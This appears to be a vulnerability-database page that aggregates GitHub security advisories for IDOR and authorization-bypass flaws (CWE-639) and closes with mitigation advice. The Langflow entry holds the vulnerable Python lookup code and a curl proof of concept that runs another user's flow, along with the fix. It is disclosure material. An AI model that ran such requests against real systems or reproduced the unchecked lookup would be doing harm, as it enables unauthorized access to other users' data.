}
GHSA-QR79-4QWM-2CWC
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06Sourcecodester Phone Shop Sales Managements System 1.0 is vulnerable to Insecure Direct Object Reference (IDOR). Any attacker will be able to see the invoices of different users by changing the id parameter.
{
"affected": [],
"aliases": [
"CVE-2021-35337"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-01T14:15:00Z",
"severity": "MODERATE"
},
"details": "Sourcecodester Phone Shop Sales Managements System 1.0 is vulnerable to Insecure Direct Object Reference (IDOR). Any attacker will be able to see the invoices of different users by changing the id parameter.",
"id": "GHSA-qr79-4qwm-2cwc",
"modified": "2022-05-24T19:06:42Z",
"published": "2022-05-24T19:06:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35337"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QRF2-MWMQ-M8RF
Vulnerability from github – Published: 2025-12-11 15:30 – Updated: 2026-06-04 09:30Authorization Bypass Through User-Controlled Key vulnerability in Aksis Computer Services and Consulting Inc. AxOnboard allows Exploitation of Trusted Identifiers.This issue affects AxOnboard: from 3.2.0 before 3.3.0.
{
"affected": [],
"aliases": [
"CVE-2025-13003"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T13:15:58Z",
"severity": "HIGH"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in Aksis Computer Services and Consulting Inc. AxOnboard allows Exploitation of Trusted Identifiers.This issue affects AxOnboard: from 3.2.0 before 3.3.0.",
"id": "GHSA-qrf2-mwmq-m8rf",
"modified": "2026-06-04T09:30:33Z",
"published": "2025-12-11T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13003"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0446"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0446"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QRJC-R6JG-4W9F
Vulnerability from github – Published: 2026-10-12 18:31 – Updated: 2026-10-12 18:31Open WebUI from 0.9.6 before 0.11.4 contains an authorization flaw where the knowledge base file listing does not verify that a supplied directory_id belongs to the requested knowledge base. Users with read access to any knowledge base can supply a retained foreign directory UUID to GET /api/v1/knowledge/{id}/files. The returned breadcrumbs expose folder names, owner user ids and knowledge base ids of that directory and all its ancestors.
{
"affected": [],
"aliases": [
"CVE-2026-109287"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T17:17:21Z",
"severity": "MODERATE"
},
"details": "Open WebUI from 0.9.6 before 0.11.4 contains an authorization flaw where the knowledge base file listing does not verify that a supplied directory_id belongs to the requested knowledge base. Users with read access to any knowledge base can supply a retained foreign directory UUID to GET /api/v1/knowledge/{id}/files. The returned breadcrumbs expose folder names, owner user ids and knowledge base ids of that directory and all its ancestors.",
"id": "GHSA-qrjc-r6jg-4w9f",
"modified": "2026-10-12T18:31:44Z",
"published": "2026-10-12T18:31:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx3w-3pqq-7f3w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109287"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/open-webui-0.9.6-before-0.11.4-information-disclosure-via-unscoped-directory-id"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QRM9-PPGH-QWM9
Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31grav-plugin-api before 1.0.6 fails to validate super-admin status in createApiKey, generate2fa, and disable2fa endpoints, allowing non-super api.users.write managers to escalate to super-admin. Attackers can mint API keys bound to super-admin accounts or strip 2FA from super-admin users to achieve full instance takeover.
{
"affected": [],
"aliases": [
"CVE-2026-62233"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T02:18:10Z",
"severity": "HIGH"
},
"details": "grav-plugin-api before 1.0.6 fails to validate super-admin status in createApiKey, generate2fa, and disable2fa endpoints, allowing non-super api.users.write managers to escalate to super-admin. Attackers can mint API keys bound to super-admin accounts or strip 2FA from super-admin users to achieve full instance takeover.",
"id": "GHSA-qrm9-ppgh-qwm9",
"modified": "2026-07-17T03:31:24Z",
"published": "2026-07-17T03:31:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-8gg4-rvvv-cq96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62233"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-plugin-api-privilege-escalation-via-createapikey"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QRPV-Q767-XQQ2
Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-07-07 22:14Summary
Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request.
Details
The vulnerability exists in the get_flow_by_id_or_endpoint_name helper function in src/backend/base/langflow/helpers/flow.py (lines 399-414).
When a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow:
# src/backend/base/langflow/helpers/flow.py:399-414
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
async with session_scope() as session:
try:
flow_id = UUID(flow_id_or_name)
# When using UUID, query directly WITHOUT checking user_id
flow = await session.get(Flow, flow_id) # ❌ No user_id check!
except ValueError:
endpoint_name = flow_id_or_name
stmt = select(Flow).where(Flow.endpoint_name == endpoint_name)
# Only when using endpoint_name is user_id checked
if user_id:
stmt = stmt.where(Flow.user_id == uuid_user_id)
This function is used by the /api/v1/responses endpoint (defined in src/backend/base/langflow/api/v1/openai_responses.py:589).
PoC (Proof of Concept)
# Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow
curl -X POST "http://localhost:7860/api/v1/responses" \
-H "x-api-key: sk-ATTACKER_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "VICTIM_FLOW_ID",
"input_value": "test",
"stream": false
}'
# Returns 200 and executes the victim's flow
Impact
Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources
Fixes
Fixed in PR #12832 (fix(security): close IDOR in get_flow_by_id_or_endpoint_name), merged 2026-04-22, released in Langflow 1.9.1.
The helper normalizes user_id once and enforces ownership on both lookup branches (UUID and endpoint_name):
flow_id = UUID(flow_id_or_name)
flow = await session.get(Flow, flow_id)
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None # cross-user lookup falls through to the shared 404
Key points:
- Cross-user lookups return 404 (not 403), so flow existence is not disclosed via a 403-vs-404 oracle.
- /api/v1/responses and /api/v2/workflow pass user_id explicitly, so fixing the helper closes them directly; the /api/v1/run* routes were additionally moved from a bare Depends(get_flow_by_id_or_endpoint_name) to auth-aware wrapper dependencies (defense in depth).
- A malformed user_id now fails closed (404 instead of a raw 500).
- Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere).
- Regression tests cover the cross-user UUID case and reproduce the original PoC against /api/v1/responses.
Acknowledgements
Thanks to the security researchers who responsibly disclosed this vulnerability: * @yzeirnials * @johnatzeropath * @LeftenantZero * @Zwique
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55255"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:16:46Z",
"nvd_published_at": "2026-06-23T17:17:08Z",
"severity": "HIGH"
},
"details": "## Summary\n\nInsecure Direct Object Reference (IDOR) vulnerability in `/api/v1/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim\u0027s flow ID in the request.\n\n## Details\n\nThe vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src/backend/base/langflow/helpers/flow.py` (lines 399-414)](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/helpers/flow.py#L399C1-L414C67).\n\nWhen a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow:\n\n```python\n# src/backend/base/langflow/helpers/flow.py:399-414\nasync def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -\u003e FlowRead:\n async with session_scope() as session:\n try:\n flow_id = UUID(flow_id_or_name)\n # When using UUID, query directly WITHOUT checking user_id\n flow = await session.get(Flow, flow_id) # \u274c No user_id check!\n except ValueError:\n endpoint_name = flow_id_or_name\n stmt = select(Flow).where(Flow.endpoint_name == endpoint_name)\n # Only when using endpoint_name is user_id checked\n if user_id:\n stmt = stmt.where(Flow.user_id == uuid_user_id)\n```\n\nThis function is used by the `/api/v1/responses` endpoint (defined in [`src/backend/base/langflow/api/v1/openai_responses.py:589`](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/api/v1/openai_responses.py#L589)).\n\n## PoC (Proof of Concept)\n\n```bash\n# Attacker (user A) with API_KEY_A tries to execute victim (user B)\u0027s flow\ncurl -X POST \"http://localhost:7860/api/v1/responses\" \\\n -H \"x-api-key: sk-ATTACKER_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"model\": \"VICTIM_FLOW_ID\",\n \"input_value\": \"test\",\n \"stream\": false\n }\u0027\n# Returns 200 and executes the victim\u0027s flow\n```\n\n## Impact\n\nAny authenticated user can:\n1. Execute any flow in the system by knowing its flow ID\n2. Access potentially sensitive data processed by victim\u0027s flows\n3. Consume victim\u0027s resources\n\n## Fixes\n\nFixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**.\n\nThe helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`):\n\n```python\nflow_id = UUID(flow_id_or_name)\nflow = await session.get(Flow, flow_id)\nif flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:\n flow = None # cross-user lookup falls through to the shared 404\n```\n\nKey points:\n- Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle.\n- `/api/v1/responses` and `/api/v2/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `/api/v1/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth).\n- A malformed `user_id` now fails closed (404 instead of a raw 500).\n- Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere).\n- Regression tests cover the cross-user UUID case and reproduce the original PoC against `/api/v1/responses`.\n\n\n\n\n\n## Acknowledgements\n\nThanks to the security researchers who responsibly disclosed this vulnerability:\n* @yzeirnials\n* @johnatzeropath\n* @LeftenantZero\n* @Zwique",
"id": "GHSA-qrpv-q767-xqq2",
"modified": "2026-07-07T22:14:36Z",
"published": "2026-06-19T21:16:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55255"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/pull/12832"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/commit/2c9f498d664a3c32698b57d7c5e752625291060e"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-221.yaml"
},
{
"type": "WEB",
"url": "https://webflow.sysdig.com/blog/understanding-langflow-cve-2026-55255-and-why-higher-cvss-vulnerabilities-arent-always-the-most-exploited"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55255"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User\u0027s Flow"
}
GHSA-QRR7-V4W9-Q4HR
Vulnerability from github – Published: 2026-08-24 12:31 – Updated: 2026-08-24 12:31Subscriber Insecure Direct Object References (IDOR) in Fluent Boards Pro <= 2.0.11 versions.
{
"affected": [],
"aliases": [
"CVE-2026-78278"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-24T12:16:55Z",
"severity": "MODERATE"
},
"details": "Subscriber Insecure Direct Object References (IDOR) in Fluent Boards Pro \u003c= 2.0.11 versions.",
"id": "GHSA-qrr7-v4w9-q4hr",
"modified": "2026-08-24T12:31:40Z",
"published": "2026-08-24T12:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78278"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/fluent-boards-pro/vulnerability/wordpress-fluent-boards-pro-plugin-2-0-11-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QV5F-57GW-VX3H
Vulnerability from github – Published: 2025-02-10 21:31 – Updated: 2025-03-03 20:10Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h958-fxgg-g7w3. This link is maintained to preserve external references.
Original Description
Vulnerability in the OPC UA .NET Standard Stack before 1.5.374.158 allows an unauthorized attacker to bypass application authentication when the deprecated Basic128Rsa15 security policy is enabled.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "OPCFoundation.NetStandard.Opc.Ua"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.374.158"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T22:57:19Z",
"nvd_published_at": "2025-02-10T19:15:37Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-h958-fxgg-g7w3. This link is maintained to preserve external references.\n\n## Original Description\nVulnerability in the OPC UA .NET Standard Stack before 1.5.374.158 allows an unauthorized attacker to bypass application authentication when the deprecated Basic128Rsa15 security policy is enabled.",
"id": "GHSA-qv5f-57gw-vx3h",
"modified": "2025-03-03T20:10:40Z",
"published": "2025-02-10T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42512"
},
{
"type": "WEB",
"url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2024-42512.pdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/OPCFoundation/UA-.NETStandard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Authorization Bypass in OPC UA .NET Standard Stack",
"withdrawn": "2025-03-03T20:10:40Z"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.